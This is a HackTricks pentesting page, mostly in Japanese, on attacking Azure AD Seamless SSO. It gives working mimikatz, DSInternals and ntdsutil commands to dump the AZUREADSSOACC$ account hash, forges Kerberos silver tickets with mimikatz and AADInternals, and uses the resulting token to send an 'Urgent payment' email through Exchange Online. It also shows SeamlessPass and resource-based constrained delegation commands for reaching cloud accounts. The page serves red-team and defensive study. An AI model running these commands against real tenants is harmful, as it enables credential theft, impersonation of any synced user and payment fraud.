Az - Seamless SSO

Support HackTricks

基本情報

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) は、企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます。有効にすると、ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。

基本的に、Azure AD Seamless SSOは、オンプレミスのドメインに参加しているPC上にいるときにユーザーをサインインさせます

これは、PHS (パスワードハッシュ同期)PTA (パススルー認証) の両方でサポートされています。

デスクトップSSOは、Kerberosを使用して認証を行います。構成されると、Azure AD ConnectはオンプレミスADにAZUREADSSOACC$というコンピュータアカウントを作成しますAZUREADSSOACC$アカウントのパスワードは、構成中に平文でAzure ADに送信されます

Kerberosチケットは、パスワードのNTHash (MD4)を使用して暗号化され、Azure ADは送信されたパスワードを使用してチケットを復号化します。

Azure ADは、Kerberos チケットを受け入れるエンドポイント (https://autologon.microsoftazuread-sso.com) を公開しています。ドメイン参加マシンのブラウザは、SSOのためにこのエンドポイントにチケットを転送します。

オンプレミス -> クラウド

ユーザーの**AZUREADSSOACC$のパスワードは決して変更されません**。したがって、ドメイン管理者はこのアカウントのハッシュを危険にさらすことができ、それを使用してシルバーチケットを作成し、任意のオンプレミスユーザーと同期してAzureに接続することができます

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

ハッシュを使用して、シルバーチケットを生成できます:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

To utilize the silver ticket, the following steps should be executed:

  1. ブラウザを起動する: Mozilla Firefoxを起動します。

  2. ブラウザを設定する:

  • **about:config**に移動します。

  • network.negotiate-auth.trusted-urisの設定を指定されたにします:

  • https://aadg.windows.net.nsatc.net

  • https://autologon.microsoftazuread-sso.com

  1. ウェブアプリケーションにアクセスする:

  • 組織のAADドメインに統合されたウェブアプリケーションを訪問します。一般的な例はOffice 365です。

  1. 認証プロセス:

  • ログイン画面で、ユーザー名を入力し、パスワードフィールドは空白のままにします。

  • 続行するには、TABまたはENTERを押します。

これにより、MFAが有効な場合はバイパスされません

Option 2 without dcsync - SeamlessPass

この攻撃はdcsync攻撃なしで実行することも可能で、このブログ記事で説明されています。そのためには、次のいずれかが必要です:

  • 侵害されたユーザーのTGT: たとえ持っていなくても、ユーザーが侵害されていれば、KekeoRubeusなどの多くのツールに実装されている偽TGT委任トリックを使用して取得できます。

  • ゴールデンチケット: KRBTGTキーがあれば、攻撃対象のユーザーに必要なTGTを作成できます。

  • 侵害されたユーザーのNTLMハッシュまたはAESキー: SeamlessPassはこの情報を使用してドメインコントローラーと通信し、TGTを生成します。

  • AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー: この情報と攻撃対象のユーザーのセキュリティ識別子(SID)を使用して、サービスチケットを作成し、クラウドに認証することが可能です(前の方法で実行されたように)。

最後に、TGTを使用して、SeamlessPassツールを使用することができます:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

シームレスSSOでFirefoxを動作させるためのさらなる情報は、このブログ記事で見つけることができます。

クラウド専用ユーザーのためのKerberosチケットの作成

Active Directory管理者がAzure AD Connectにアクセスできる場合、任意のクラウドユーザーのSIDを設定することができます。この方法でKerberos チケットクラウド専用ユーザーのためにも作成できます。唯一の要件は、SIDが適切なSIDであることです。

クラウド専用管理ユーザーのSIDの変更は現在Microsoftによってブロックされています。 詳細はhttps://aadinternals.com/post/on-prem_admin/を確認してください。

オンプレミス -> クラウドへのリソースベースの制約付き委任

このアカウントが存在するコンテナまたはOU内のコンピューターアカウント(AZUREADSSOACC$)を管理できる人は、アカウントに対してリソースベースの制約付き委任を構成し、アクセスすることができます

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

参考文献

HackTricksをサポートする

Last updated